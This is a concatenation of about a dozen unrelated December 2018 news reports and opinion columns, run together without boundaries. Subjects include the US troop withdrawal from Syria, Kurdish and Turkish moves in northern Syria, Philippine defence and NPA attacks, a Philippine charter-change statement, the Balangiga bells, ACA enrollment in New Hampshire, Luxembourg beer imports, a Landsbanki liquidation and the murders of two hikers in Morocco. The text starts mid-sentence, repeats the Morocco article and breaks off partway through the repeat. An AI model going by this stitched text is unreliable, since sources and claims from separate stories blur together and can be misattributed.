mistake, Graham said I fear it will lead to devastating consequences for our nation, the region and throughout the world. Most US troops are stationed in northern Syria, though a small contingent is based at a garrison in Al-Tanaf, near the Jordanian and Iraqi borders. Trump has previously voiced skepticism about the US presence in Syria, saying in March he wanted to bring troops home soon. But military advisors and international allies warned Trump against a precipitous pullout, and he later acquiesced to an indefinite Syria mission. The US official would not provide a withdrawal timeline, saying only it would come as quickly as possible. White House spokeswoman Sarah Sanders said the US-led coalition that includes dozens of nations would continue fighting the jihadists. These victories over ISIS in Syria do not signal the end of the Global Coalition or its campaign, Sanders said in a statement.The Pentagon refused to say what effect the troop withdrawal would have on air operations in Syria that have been ongoing since late 2014. A senior administration official said Trumps decision was consistent with comments he has made for years. The notion that anyone within the administration was caught unaware, I would challenge that, the official said. A large contingent of the main US-backed, anti-IS fighting force in Syria, an alliance known as the Syrian Democratic forces, is Kurdish. Turkey terms it a terrorist group. Ankara has said it plans to launch an operation against the Kurdish militia known as the YPG (Kurdish Peoples Protection Units). While the YPG has spearheaded Washingtons fight against IS, US support has strained relations between the NATO allies. The US decision to withdraw from Syria marks a remarkable development not just for the Kurds, but for years-old US doctrine in the region. Only last week, Brett McGurk, the special envoy to defeat IS, said nobody is declaring a mission accomplished. If weve learned one thing over the years, enduring defeat of a group like [IS] means you cant just defeat their physical space and then leave, he said. A statement issued by the British government, which has long supported the anti-IS campaign in Syria, said much remains to be done against the jihadists. We must not lose sight of the threat they pose. Even without territory, [IS] will remain a threat, the statement read. Junior defense minister Tobias Ellwood was more blunt, retweeting a message from Trump that the jihadists had been defeated in Syria with the words: I strongly disagree. It has morphed into other forms of extremism and the threat is very much alive. The Times newspaper on Thursday reported that Britain had not been informed of the decision before Trump announced it. France said Thursday it will maintain its participation in the coalition fighting IS forces in Syria. European Affairs Minister Nathalie Loiseau said: The fight against terrorism is not over. A US presence in Syria is seen as key to pushing against Russian and Iranian influence. Pro-Iran militias have supported Syrian President Bashar al-Assad, and Moscow in 2015 intervened in the conflict to prop him up. Charles Lister, a senior fellow at the Middle East Institute, called the decision extraordinarily short-sighted and naive. This is not just a dream scenario for ISIS, but also for Russia, Iran and the Assad regime, all of whom stand to benefit substantially from a US withdrawal, Lister said. Iraq's Transport Minister, Abdullah Luaibi, hailed the reopening of the land crossings between Syria and Iraq reports SANA. On Tuesday, Iraqi Transport Minister, Abdullah Luaibi, discussed with Syrias Ambassador to Iraq Satam Jadaan al-Dandah means to enhance trade and to develop cooperation in the domains of land and air transport between the two brotherly states. The two sides underlined the importance of opening of the border crossings between al-Bokmal in Syria and al-Qaim in Iraq, to facilitate trade between the two countries. Minister Luaibi said in a statement, We discussed with Ambassador al-Dandah the return of the Iraqi air transport to Syrian airports using Iraqi airlines, in addition to bolstering bilateral relations between the two countries to develop transport activity and to set investment plans in various domains. Meanwhile, the head of Iraqs Supreme Judicial Council, Judge Faiq Zaidan, discussed with Ambassador al-Dandah means of upgrading Syrian-Iraqi cooperation in the judicial and legal domains. A statement by the Council issued on Tuesday indicated that, Judge Zidan discussed with Ambassador al-Dandah means to enhance cooperation in the judicial and legal domains and the role of the judiciary in combating terrorism in the two brotherly countries. In a statement to SANA, al-Dandah affirmed that opening the border crossings for the movement of people and goods will achieve significant and positive outcomes by increasing the levels of trade between the two countries. He expressed hope that the next phase will witness unprecedented levels of Syrian-Iraqi cooperation in all domains. He indicated that upgrading Syrian-Iraqi cooperation in the judicial and legal domains and activating the role of the judiciary in combating terrorism is one of the many tracks in which bilateral cooperation is rapidly developing. This article was edited by The Syrian Observer. Responsibility for the information and views set out in this article lies entirely with the author. The SDC said that it was ready to hand over the border with Turkey and become incorporated in the Syrian army reports Damas Post. Sources have reported that a secret meeting has been held between representatives of the Syrian government and commanders from the Democratic Union Party (PYD) in Ayn Eissa in recent days. Dr. Fareed Sadoun, a former academic at Euphrates University, said that, A meeting was held between a delegation from the state and the PYD in Ayn Eissa. It succeeded in bringing together the viewpoints of the two sides. He added that, The meeting was held with the knowledge of the Russians and Iranians. Sadoun said on his Facebook page that, the two sides agreed to continue meetings until an agreement was reached to cooperate and coordinate in the area, following Turkish threats to invade. News outlets and activists have said that, On Sunday evening, a number of cars flying the Syrian flag arrived at the base of the so-called Syrian Democratic Council (SDC) in the town of Ayn Eissa in northern Raqqa. The co-chair of the SDC, Riad Darar, announced on Friday that the Syrian Democratic Forces (SDF) were ready to hand over the border strip with Turkey to the Syrian Arab Army, saying that communication with the Syrian government over the latest Turkish threats had not yet begun. Darar told Damas Post that, We are ready to hand over the border strip from al-Malakiyeh in the northern Hassakeh countryside up to the city of Ayn al-Arab in the northeastern Aleppo countryside to the Syrian Arab Army, adding that, The SDF will be part of the Syrian Arab Army after a settlement. This article was translated and edited by The Syrian Observer. Responsibility for the information and views set out in this article lies entirely with the author. Turkish forces are searches areas near their bases, to check for explosive devices writes Etihad Press. Areas in the northern Aleppo countryside under the control of the Turkish army and affiliated factions have witnessed various explosions targeting military bases and the points where they are deployed, including a landmine explosion near the base of the al-Sultan Murad faction. An engineering unit in the rebel groups police also dismantled another landminerecently plantedwhich was discovered during a search after the first mine exploded. In Sharran town in the Afrin countryside, the base of the 2nd Corps was subjected to material damage as a result of an explosion. Three other explosive devices near the base were discovered and dismantled. Turkish forces and allied factions are constantly combing the highlands and valleys surrounding the bases where they are deployed, searching for cells of the Kurdish Peoples Protection Units (YPG) who are targeting Turkish forces and their allied groups in various parts of Afrin with surprise attacks and individual operations in order to kill commanders and fighters. In the context of the continuing security operation, which Turkey has launched in areas of northern Syria, the security agency of the Ahrar al-Sharqiyeh group carried out a campaign in the city of al-Bab, and announced through its pages that Mohamed Ameen al-Ameen had been captured. Ameen has been accused of preparing and carrying out bombings in the area. It also noted that it had arrested a person, affiliated with the Syrian Democratic Forces (SDF), preparing a car bomb to blow up in the city of Jarablus. A few days ago, a child named Nour died as a result of her wounds from an explosion in the city of Azaz, and her father later died as a result of his wounds from a previous blast. This article was translated and edited by The Syrian Observer. Responsibility for the information and views set out in this article lies entirely with the author. Tunisias Foreign Minister has said that the decision to include Syria in the summit would have to be taken as a group reports Etihad Press. Tunisias Foreign Minister, Khamis al-Jahnawi, denied reports, in a statement to the Mosaique FM Tunisian radio, that the Syrian regime president had been invited to attend the Arab summit, adding that a decision around Syria could be taken after a meeting between the Arab heads of state. He said, They will be the people to decide. Tunisia cannot deicide that alone. Butheina Jabnoun, a Tunisian media figure living in the United Arab Emirates, said in a post on Facebook that sources in the Syrian regime had informed her that, Tunisian President Beji Caid Essebsi would soon invite the regime president to visit Tunisia. The regimes allies are trying to rehabilitate the country through political and diplomatic channels, with attendances at Arab, regional and international forums and exchanging visits (the recent visit of the Sudanese president to Damascus, and Turkeys announcement of its willingness to work with the regime president again). The Arab parliament also submitted a statement to the Arab League calling for coordination, to restore the Syrian regimes participation in joint Arab action. The Arab League froze the regimes membership in November 2011 after the repression and abuse its forces carried out against the Syrian movement, which called for its downfall and for the departure of its president. This article was translated and edited by The Syrian Observer. Responsibility for the information and views set out in this article lies entirely with the author. The Peshmerga, who have previously fought ISIS in Iraq, has entered Syria in agreement with the United States writes Ana Press. A commander in the Kurdish Future Movement in Syria, Abdel Salam Osman, said that, a group of Peshmerga have entered the eastern Euphrates area, in agreement with the United States, and specifically into the Dereik area, northeast of the city of Hassakeh. Osman said during a phone conversation with Ana Press that, the entry of the Peshmerga was met with heavy opposition from the Democratic Union Party (PYD), saying that the Americans had forced the matter on the PYD. He said that the PYD had expressed its dissatisfaction with the issue, and that its media apparatus had begun to issue distorting rumors about the Peshmerga. A commander in the Kurdish Future Movement said, We believe that this matter is an important step in the right direction, and we reiterate our call for the entry of the Peshmerga Rojava to protect Syrian Kurdistan and protect all its communities. Osman added that, the entry of the Peshmerga came with a push from Washington, to ward off any military operation by Turkey. He added that the Peshmerga would protect and guarantee that no disaster occurred. According to Osman, the entry of these forces would compel Turkey to stop their intervention in the area, or at least would delay their entry for a period of time because the Peshmerga would defend their borders, and would also defend the area. The US Special Envoy to Syria, James Jeffrey, confirmed the news that was circulated by some media circles, while the Syrian Democratic Forces (SDF) denied itspecifically the news that the Peshmerga Rojava had entered Syrian Kurdistan, according to the Kurdish Yekiti Media agency. Jeffrey said that, Peshmerga Rojava have entered Syrian territory to participate in imposing security in coordination with us, and with the knowledge of the SDF. The Peoples Protection Units (YPG) of the PYD are considered the most important units in the SDF, which is backed by the US-led International Coalition. The SDF and the YPG denied the entry of the Peshmerga Rojava and said that what had happened was a result of a malfunction which affected the Seemalka bridge crossing, which forced the military aid convoys of the International Coalition to change their path. A foreign relations official in the Kurdish Future Movement, Abdel Hamid Tammo, had previous told Ana Press, The entry of these forces into Syria requires regional and international permission. He said that there had been meetings between the Kurdistan region and Turkey around the entry of the Peshmerga into Syria. According to Tammo, dialogue and discussion over which entry point and which area had been done, whether they would enter with the Euphrates Shield or enter into the areas in Hassakeh province to confront the PYD forces, or delay their entry until the formation of a Syrian national army, and then become part of that for Syrias future. Peshmerga Rojava forces are under the authority of the Syrian Kurdish National Conference, and are deployed in the Kurdistan region in Iraq. They participated in a number of battles in defense of Kurdistans land against the Islamic State and the Iraqi Hashd al-Shaabi militias. However, the rivalry between Kurdish factions prevented them from being deployed on their land, to ward off internal fighting, according to comments from Peshmerga Rojava officials. This article was translated and edited by The Syrian Observer. Responsibility for the information and views set out in this article lies entirely with the author. Despite improving ties with China, the Philippines will continue patrolling the West Philippine Sea and strengthening the islands under its control, Defense Secretary Delfin Lorenzana said Thursday. We will still continue with our activities there. We will patrol regularly [and] continue strengthening our islands. We have nine islands. The people at the Sierra Madre [a grounded landing ship] will still be there, and we will continue resupplying them and replacing them, he said in a mix of Filipino and English. The Defense chief added that the country will protest any action by the Chinese that are inconsistent with the Philippine national interest. Part of the buildup, he said, would be better housing for troops on Pag-asa Island. We have allotted funds for the shelter of our troops because right now, they only have huts there. We should give them good shelters, barracks, especially in Pag-asa, he added.By the end of next year, he said, the runway on the island will have been repaired, and a beaching ramp was already 42 percent complete. The ramp will enable them to bring in the materials and equipment to repair the runway, he said. At the same time, Lorenzana said two missile-armed frigates being built by South Korean shipbuilder Hyundai Heavy Industries will be named the BRP Antonio Luna and BRP Jose Rizal. Navy flag officer-in-command Vice Admiral Robert Empedrad said the construction of the frigates was going smoothly, and the ships would be delivered by February or March 2020. The keel-laying for the first-missile-armed frigate took place last Oct. 16 in Ulsan, South Korea while the steel-cutting for the second ship took place last Sept. 17. The Philippines and Hyundai signed a P16-billion contract for the two frigates, with P2 billion set aside for its weapon systems and munitions. The projected delivery date for the first frigate is 2020 and the second one is 2021. The abduction of 12 militiamen and two soldiers in Sibagat, Agusan Del Sur on Wednesday showed that the New Peoples Army declaration of a holiday ceasefire was merely an act of deceit, Armed Forces chief Gen. Benjamin Madrigal said Wednesday night. To prevent similar attacks, the AFP chief ordered all troops to be more alert and pro-active in their security measures. In Wednesdays raid, rebels also carted away high-powered weapons, ammunition, a radio and various supplies. Madrigal said heavy rains prevented troops assigned to the 3rd Special Forces Battalion from detecting the incursion of some 50 NPA rebels who carried out the raid. He also said a board of inquiry has been formed to investigate the incident at the Tubigon Patrol Base, a newly established detachment in the hinterlands of Sibagat. AFP public affairs chief Col. Noel Detoyato said pursuit operations were ongoing. Defense Secretary Delfin Lorenzana said the soldiers were clearly taken by surprise.They were taken without a firefight, so they were caught off guard, he said in a mix of English and Filipino. Maybe they were relaxing. We expect the patrol base to be manned and properly constructed so it cant be overrun. He said the military was looking at the possible involvement of a militiaman with familial ties with the NPA. In a statement, the Communist Party of the Philippines said the 14 prisoners of war would only be released if the military stops its offensives against the rebels. The 14 prisoners of war taken yesterday in Barangay New Tubigon, Sibagat, Agusan del Sur are being treated leniently, the statement said. Madrigal slammed the NPA, saying the abduction proved that the communists were not trustworthy. San FranciscoA Yemeni mother who was granted a waiver from President Donald Trumps ban on travel from several Muslim majority countries has arrived in the US to say goodbye to her dying toddler son. Shaima Swileh wore dark glasses as she walked into the arrivals terminal at San Francisco airport Wednesday night. A group of supporters carrying placards greeted her. Her two-year-old boy Abdullah Hassan, a US citizen like his father, suffers from a rare genetic brain condition and is on life support in a hospital in Oakland, California. But Swileh had been unable to join him due to Trumps order barring visitors from six countries including Yemen. After a tearful televised plea from the boys father prompted public outrage, the US embassy in Cairo issued a visa for Swileh, who has been living temporarily in Egypt. After the waiver was granted, her husband, Ali Hassan, expressed relief and said, This will allow us to mourn with dignity. Hassan said he had been ready to take his son off life support last week after doctors said the case was terminal, with his wife only receiving automated replies when inquiring with US authorities on her visa application. The Council on American-Islamic Relations, which is assisting the family, launched a campaign that it said prompted 15,000 emails to elected officials as well as thousands of tweets.Abdullahs grandfather earlier told the San Francisco Chronicle that Swileh was crying every day as she wanted to see her son one last time. To hold him for at least a minute. Shes not going to see him forever, he said. Exceptions to Trumps ban are exceedingly rare. The American Civil Liberties Union, which opposes Trumps order, said that only two percent of applicants have been granted waivers. Trump vowed during the 2016 campaign to ban all Muslims from entering the United States, despite constitutional protections of freedom of religion, after a mass shooting in California by a couple of Pakistani descent. In an executive order that triggered chaos before court challenges and revisions, Trump blocked new visas to nearly all citizens of five Muslim-majority countries -- Iran, Libya, Somalia, Syria and Yemen -- as well as North Korea and some officials from Venezuela. A divided Supreme Court in June upheld the ban, which it said was within the presidents powers. The move to amend the Philippines 1987 Constitution has been one of the most contentious issues of 2018. According to the latest Pulse Asia survey held in June 2018, only 18% of our population support charter change, while a majority (67% of the population) do not. An additional 14% are undecided. The same poll also indicated that 62% of Filipinos are not presently in favor of a shift to a federal form of government. Regardless of where one sits on this issue, the ongoing discussion and debate is a healthy one for our democracy. Evidence-based discussion and debate is critical in crafting reform options for the countrys governance and development. An inclusive and transparent process is indispensable in establishing a credible result, one that hopefully could unite the country in a common understanding of the way forward. Sadly, this process of deliberation has been undermined and hijacked by the recent move by Congress to push for charter change. Last 12 December 2018, amidst the backdrop of allegations of pork barrel spending in the proposed 2019 budget, the Lower House of Congress passed Resolution of Both Houses number 15 (RBH 15) on third and final reading, pushing what many see as charter change that is being railroaded. RBH 15 dramatically departs from the reform process initiated by President Duterte, which called on the Constitutional Committee to Review the Constitution (ConCom) to help push debates and discussions on constitutional reforms. There are at least three troubling features of RBH 15. First, it excludes important political reforms proposed by the ConCom and supported widely by academia, such as the proposed anti-dynasty law, and a clear political party reform agenda. RBH 15 even removes all reference to political dynasties, which were already embedded in the 1987 Constitution. Secondly, the resolution also removes existing term limits for congressmen, senators, and local government officials. Combined with no constraints on dynastic expansion, this threatens to further concentrate political power into the hands of very few political clans. Thirdly, the resolution jettisons Article XIII of the 1987 Constitution, dedicated to Social Justice and Human Rights, a section explicitly recognized by 1986 Constitutional Commissions President as the heart of the said charter (Munoz-Palma 1986). By eliminating this entire article, RBH 15 weakens the States commitments on the protection of labor, the promotion of equitable land ownership and access to natural resources, the promotion of urban land reform and affordable, decent housing for the urban poor, the protection of the rights of indigenous peoples, and the role of peoples organizations, among others. These features of RBH 15 alone, combined with the unreasonable pace and non-inclusive process, are likely to exacerbate further the trust deficit that presently characterizes the federalism discussions. For these reasons, we call on our legislators to stop fast-tracking the charter change process, and to take the proper steps to consult all sectors in order to re-establish credibility and trust in the process. Imposing their will on the people will only elicit stronger resistance to federalism, as many will see this only as a ploy of dynastic politicians to further strengthen their hold on power. Charter change is a difficult arena for reforms. Clearly, a transition to a federal system cannot be bound by a constricting timetable such as the term of President Duterte. Empirical evidence, substantial independence and objectivity will be critical in forging a consensus. Anything less than these merely exposes the true intentions of the so-called reformists.Therefore, we urge the administration to undertake instead a wider and more consultative discussion on constitutional reform. Only by undergoing a genuine and participatory national dialogue will Filipinos attain a level of consciousness where they can properly decide whether to change the charter or not. We in the academe, along with the Catholic Educational Association of the Philippines (CEAP) and the Coordinating Council of Private Educational Associations (COCOPEA), and working with other stakeholders in our society including the Catholic Bishops Conference of the Philippines (CBCP), are willing to help bring about this national conversation on constitutional reform by working with our colleagues in government, civil society, and the private sector. ad majorem Dei gloriam, Fr Karel S San Juan SJ (President, Ateneo de Zamboanga University) Fr Joel E Tabora SJ (President, Ateneo de Davao University) Fr Jose Ramon T Villarin SJ (President, Ateneo de Manila University) Fr Roberto Exequiel N. Rivera, SJ (President, Ateneo de Naga University) Fr Roberto C Yap SJ (President, Xavier University- Ateneo de Cagayan) "The looted bells needed to be returned if we were to cut that bondage and move on." For the second time after 117 years, the bells of Balangiga are ringing again. Last Monday, at dawn on the second day of the annual nine-day Misa de Gallo, the three bells rang proudly, calling on the Balangiga faithful to church. It was a sight to behold if we go by the accounts of those who posted the scene for posterity. And for the history buffs, it was a scene popping out of old when the same bells rang summoning the faithful to midnight mass and signaling the uprising of a rag tag group of proud Samarenos against an American occupation force then holding fort at the town center. That they were able to capture the town center and raise the banner of freedom in that small town so incensed the then-commanding general of the American occupation forces in that part of the country that he ordered the killing of all males aged 10 years and above and turn Samar into a "howling wilderness." In the end, even children and women were murdered that the town, in one account, looked like a zombie zone. So brutal and unprecedented was the campaign launched by US General John "Howling Wilderness" Smith it has since assumed historical significance similar to other such atrocities as the Rape of Nanking during World War II, My Lai during the Vietnam War and more recently the various ethnic cleansing incidents during the Balkan Wars. What made the Balangiga massacres doubly abominable was the looting of the town by the occupying forces with their soldiers carting away the three bells which the Americans obviously wanted badly to serve as a warning to any Philippine freedom fighter at that time that they will be stripped to the ground like animals.Which is why the return of the bells and their ringing for the annual Misa de Gallo masses in the quaint town of Balangiga has gained such prominence in the annals of the country's continuing struggle as an independent, democratic member of the family of nations. That it was finally returned during the incumbency of President Duterte makes it truly significant given his vow to chart an independent "friends to all, foe to none" foreign policy. For most of our post-World War II history, the return of the bells has always been part of our "talking points," so to speak, with every American administration. Although quite insignificant in the view of a number of sectors particularly those who have always clung to the coat tails of the United States, the bells' return in whatever way possible struck at the heart strings of every Filipino who had a sense of nationhood. It was, in a very real sense, a symbol of the bondage which engulfed this benighted land for centuries made even more distressing by the unmitigated atrocities perpetrated by the Americans in their pacification campaign which for decades the US and its brown brothers wanted erased from the books. The looted bells needed to be returned if we were to cut that bondage and move on. It was clear that that sense of nationhood, that appreciation of our history as a people and, of necessity, the need to complete the story of America in the Philippines President Duterte articulated from day one of his assumption in office. And that has been an oft-repeated refrain over the past two and a half years of his administration as he pursued his independent foreign policy. Given his temperament, it is no accident that up to now toward the middle of his six-year term, President Duterte has constantly ignored calls for him to finally make a state visit to the United States as has been customary for most presidents before him. He has visited China, Russia and Japan among the Big Powersbut not America. In all likelihood, this nonchalance must have registered deeply in the calculation for the return of the bells. He tweaked them in the right place at the right time. But he did not take credit for it. Unlike others in the political class who would grab at anything just to append it to their inglorious careers, this President shied away from the limelight. He himself emphasized, when the return was about to happen, that this was a singular achievement of the entire nation and of our peoplenot of him or his administration alone. That remark endeared him even more to a grateful nation that not even that ruckus about the alleged inconsiderate handling of some members of the clergy during the turn over ceremony in Balangiga did not detract people from the warm welcome he got when he finally landed in Samar. At this point, no matter how hard the critics try to downgrade President Duterte's role in bringing back this symbol of our nation's struggles to break free from the clutches of colonial rule, they will never succeed. He has shown his mettle in dealing with the most powerful country in the world with the bells' return. If he can work that out, there is no reason why he cannot raise the flag in our relations with the nations of the world. That's that. Concord, NH Despite a shortened enrollment period, 44,930 New Hampshire residents signed up for a plan for 2019 through the Health Insurance Marketplace between November 1, 2018 and December 15, 2018, according to Covering New Hampshire. Some were either renewing coverage obtained during the 2018 open enrollment, or getting healthcare coverage for the first time. The number of consumers who signed up this year is down from about 50,275 consumers last year according to Covering New Hampshire, record low unemployment numbers, and federal cuts to ACA navigators and publicity outreachlikely contributed to the dip. And, a US Federal District Court Judge found the law unconstitutional hours before open enrollment ended further adding to the confusion. That decision is being appealed and the law remains in effect for now. ACA expanded coverage offers consumers more choices in health care providers and other benefits. And, some consumers may still qualify to sign up under special circumstances. People qualify for a Special Enrollment Period if they have had certain life events, including losing health coverage, moving, getting married, having a baby, or adopting a child. Examples of qualifying life changes are moving to New Hampshire, certain changes in income, and changes in family size (for example, if one were to marry, divorce, or have a baby). The next open enrollment period is November 1 through December 15, 2019 for 2020 health insurance coverage through the Affordable Care Act. Covering New Hampshire, run by Granite State Progress Education Fund and the NH Health Plan, worked with local health care providers and advocacy groups to educate Granite Staters about the open enrollment period and bolster enrollment in New Hampshire. The effort included paid digital ads and grassroots outreach and is generously supported by the NH Childrens Health Foundation and NH Charitable Foundation. Another week and a new episode of "Beer in the Grand Duchy", where we concentrate on beer importation into the country. You have to see it to believe, but Luxembourg, well-supplied with 32 breweries, imports more beer than does Portugal. That's what is demonstrated by the numbers published by the Brewers of Europe (BofE) in a recent study. In 2017, Luxembourg imported no less than 27,000,000 litres of beer, while Portugal "only" 22,200,000. In this little competition, the Grand Duchy is ahead of Turkey, Cyprus and Malta, as well. It's no surprised, but the biggest beer importers are the British, who passed the threshold of a billion litres in 2017 (1,006,700,000 litres) The French, Germans, Italians and Spanish follow. Brewers of Europe The BofE figures (where we see the irony of this abbreviation) demonstrate that, despite the fact that Luxembourg is one of the smallest beer importers in Europe, it has imported an increasing amount over the years. In effect, the trend, which had been downwards between 2012 and 2014, has been reversed, with a 34.3% increase in one year (2014-2015). However, since 2015 these statistics have stabilised. But it's still the case that, despite its 32 breweries and 29 micro-breweries, the Grand Duchy imports more beer than it exports (8,800,000 litres in 2017). Brewers of Europe While the production capacity and renown of Luxembourg beer obviously play a role, it's difficult to quantify For our part, we logically deduce that, with a growing cosmopolitan community in this country, the shop-owners are have no choice but to import more and more foreign beer. Find episode 1 and episode 2 of RTL 5minutes "Beer in the Grand-Duchy" series. The next episode will appear on 5mnutes.lu next Wednesday for Christmas, and on RTL today in English sometime later! In 2008 Luxembourg ordered the liquidation of Landsbanki Luxembourg, the local arm of the Icelandic bank which has since rebranded as Landsbankinn. Yvette Hamilius was charged with the liquidation process. Ten years later, the liquidator has managed to recuperate 2.2 billion for creditors out of a total of 2.5 billion. Despite this, the liquidator has been targeted by numerous attacks, especially on social media. On Wednesday evening, Hamilius looked back at the last ten years with her lawyer and concluded that the experience has been as positive as it has negative. The most trialling aspects of the liquidation process were the complaints of money laundering brought against her, which in turn affected her reputation. The barrister stressed that the worst of the attacks was what people wrote about her on social media. People described her as a scammer and con artist and claimed that she was falsifying statements. The whole situation escalated to the extent that a defence lawyer told Hamilius that she had speak out. Consequently, Hamilius submitted a complaint in Paris and investigations are ongoing. In August 2017 her lawyer, Rosario Grasso, relieved her of charges of fraud but the investigation continues. 188 individuals in Luxembourg lodged a complaint against her, even attempting to revoke her status as liquidator. In that regard, the ruling emphasised that she was fulfilling the mission asked of her. Her lawyer called the social media attacks slanderous, explaining that he had never seen such accusations before. According to Grasso and Hamilius, the bank's liquidation could have been completed with all creditors (employees, the Central Bank, other banks, and customers) receiving the total of 2.5 billion, but the liquidator encountered threats from those who had borrowed money and refused to repay it. The murders of two young Scandinavian women trekking in the High Atlas mountains in Morocco have shaken the region and fuelled fears that tourists will stay away. The bodies of the two tourists were discovered on Monday at a campsite above the tourist village of Imlil, a well-known departure point for mountain hikes, where they had pitched their tent for the night. The women were found with their throats cut, Moroccan authorities said on Tuesday as they announced the arrest of a suspect in the nearby city of Marrakesh. Aware the murders could threaten the country's vital tourism industry, Morocco has brought in the central bureau of judicial investigation to lead the probe, which is being carried out in cooperation with the royal gendarmerie and authorities from national security. As the investigation gets underway, many residents of Imlil have declined to talk to the media with some saying they had been told by the authorities not to speak to journalists. "Our region is safe, those who have done this are not from here," said Mohamed, owner of a family-run hotel in his sixties. His guest house sits at the edge of the paved road which leads to Imlil, a village of 10,000, before the tracks begin towards the snow-capped peaks. - 'Cheerful and energetic' - Tourists murdered in Morocco / AFP The victims have been named as Louisa Vesterager Jespersen, a 24-year-old Danish student, and her Norwegian friend Maren Ueland, 28, who were on a month-long trip to Morocco. They passed through Imlil before beginning their hike, a local restaurant owner said. "They were cheerful and energetic. They told me that they intended to scale Toubkal," he said, referring to the highest peak in North Africa which stands at 4,167 metres (13,671 feet). The restaurateur, who requested anonymity, said he had "suggested putting them in contact with a guide but they declined" the offer. According to her Facebook page, Jespersen had studied in Norway to be a guide. Her friend's mother, Irene Ueland, meanwhile told Norwegian broadcaster NRK that the pair were well prepared. "Her priority was safety. The girls took every precaution before going on this trip," she said. Another Imlil hotelier mentioned "three homeless people" from a poor area of Marrakesh whom, he said, had pitched their tent near the two women. Moroccan villagers gather in Imlil in the High Atlas mountain range on December 18, 2018 / AFP One of the victims was found "inside the tent, the other outside, decapitated", according to the hotelier who said he arrived at the crime scene before the gendarmerie. Moroccan media has also referred to a decapitation, but this has not been confirmed by officials. - 'We feel affected' - Moroccan authorities have not said the crime is terrorism-related and such attacks are rare compared to other North African countries. The most recent jihadist attack hit in 2011, when 17 people were killed in Marrakesh. An attack in the financial capital Casablanca left 33 dead in 2003. Tourism is a cornerstone of Morocco's economy, accounting for 10 percent of national income, and authorities frequently highlight security and hospitality in their advertising campaigns. Imlil village in the High Atlas mountains, Morocco, on December 18, 2018 / AFP Hikers from around the world visit Imlil, which sits 60 kilometres (40 miles) south of Marrakesh, and provide a vital income for residents. "It's very bad for the region. There will undoubtedly be cancellations," local guide Hossein said. The trails, which had been closed since the murders, reopened on Wednesday but trekkers already in Imlil had mixed feelings about going ahead with their plans. Nicolas, a Swiss hiker, said he had decided to camp overnight and then go ahead. But 27-year-old Morgan from New Zealand said he and his girlfriend might cancel their plan to climb Toubkal. "We feel affected" by the murders, he said. "Government control of rentals, or anything for that matter, ignores the importance of allowing the market to dictate prices." Alexandria Ocasio-Cortez made history, becoming the youngest woman to be elected to the US Congress. But the 29-year-old former bartender told reporters that, currently, shes unable to afford an apartment in Washington, DC, as her congressional salary only kicks in in January. I havent heard of any Filipino congressman or woman complain of anything similar to that yet. This story generated a great deal of worldwide buzz, and both in the left- and right-leaning media. But, all sides are missing the whole point, as neither her supporters nor her critics have looked into why DC housing is so inaccessibleeven to a newly-elected congresswoman. Speaking to, Ocasio-Cortez explained she has three months without any income before shes a congresswoman. So, how do I get an apartment? she asked. But before earning $174,000 (or approximately P9.3 million) per year, which would make it relatively easy for the lawmaker to get a comfortable rental, she claims shes having a hard time finding a place to live. On Twitter, Ocasio-Cortez blamed the US electoral system for failing to take into account people like her, implying that the structure is stacked up against working-class people. However, she missed a great opportunity to discuss what really ails residents of global cities like DC, perpetuating the idea that government isnt doing enough to help the poor and ignoring that its precisely because government does too much that the rent is so high.According to the 2010 DC Asian Census Report, 12.8 percent of Asian Americans in Washington, DC are Filipinos. Ourreport that the average monthly rent for a two-bedroom apartment is $2,500 (or approximately P133,000). To afford it on ones salary, the resident must make $108,300 (or approximately P5.8 million) per year, a SmartAsset study claims. What led to these high rental rates, however, has nothing to do with greedy landlords trying to keep our kababayans, the poor, or immigrants at bay. Instead, government regulations that go back decades have only helped to artificially restrict the supply of housing despite the high demand, making it unaffordable as a result. Land-use regulations designed to set urban-growth boundaries and control side effects of the urban sprawl, for instance, has severely limited the amount of land that can be used for new housing. There are also rent control rules that, particularly in global cities like DC, have made housing less affordable to anyone but those who already live in rent-controlled apartment buildings. As I continually explain in this column, government control of rentals, or anything for that matter, ignores the importance of allowing the market to dictate prices. After all, prices are nothing but signals, and having these signals distorted will also make it difficult for the market to adjust and figure out whether apartments that fall under rental control rules could be better used for other ends. Allowing this top-down approach to housing is also an attack against property rights, as it removes building owners from the equation, ignoring their rights over their own properties and keeping them from accepting new offers by potential renters. Its very similar to theft, as rent control rules basically take half or more of each apartments value from the landlord. Rent controls also scare potential developers, as they know that while many of these cities exempt new properties from these rules, the exemptions may be eliminated at any given time by lawmakers. The bottom line is that many rules imposed by governments worldwide and their consequences are often ignored by politicians, even young and energized newcomers such as Ocasio-Cortez herself, who could have used her story to advocate for the end of government intervention in any economy. Instead, she chose to use this anecdote to claim people were mocking lower incomes, adding that her plight was an example of the rich are getting richer and the poor, poorer. The murders of two young Scandinavian women trekking in the High Atlas mountains in Morocco have shaken the region and fuelled fears that tourists will stay away. The bodies of the two tourists were discovered on Monday at a campsite above the tourist village of Imlil, a well-known departure point for mountain hikes, where they had pitched their tent for the night. The women were found with their throats cut, Moroccan authorities said on Tuesday as they announced the arrest of a suspect in the nearby city of Marrakesh. Aware the murders could threaten the country's vital tourism industry, Morocco has brought in the central bureau of judicial investigation to lead the probe, which is being carried out in cooperation with the royal gendarmerie and authorities from national security. As the investigation gets underway, many residents of Imlil have declined to talk to the media with some saying they had been told by the authorities not to speak to journalists. "Our region is safe, those who have done this are not from here," said Mohamed, owner of a family-run hotel in his sixties. His guest house sits at the edge of the paved road which leads to Imlil, a village of 10,000, before the tracks begin towards the snow-capped peaks. 'Cheerful and energetic' The victims have been named as Louisa Vesterager Jespersen, a 24-year-old Danish student, and her Norwegian friend Maren Ueland, 28, who were on a month-long trip to Morocco. They passed through Imlil before beginning their hike, a local restaurant owner said. "They were cheerful and energetic. They told me that they intended to scale Toubkal," he said, referring to the highest peak in North Africa which stands at 4,167 metres (13,671 feet). The restaurateur, who requested anonymity, said he had "suggested putting them in contact with a guide but they declined" the offer. According to her Facebook page, Jespersen had studied in Norway to be a guide. Her friend's mother, Irene Ueland, meanwhile told Norwegian broadcaster NRK that the pair were well prepared. "Her priority was safety. The girls took every precaution before going on this trip," she said. Another Imlil hotelier mentioned "three homeless people" from a poor area of Marrakesh whom, he said, had pitched their tent near the two women. One of the victims was found "inside the tent, the other outside, decapitated", according to the hotelier who said he arrived at the crime scene before the gendarmerie. Moroccan media has also referred to a decapitation, but this has not been confirmed by officials. 'We feel affected' Moroccan authorities have not said the crime is terrorism-related and such attacks are rare compared to other North African countries. The most recent jihadist attack hit in 2011, when 17 people were killed in Marrakesh. An attack in the financial capital Casablanca left 33 dead in 2003. Tourism is a cornerstone of Morocco's economy, 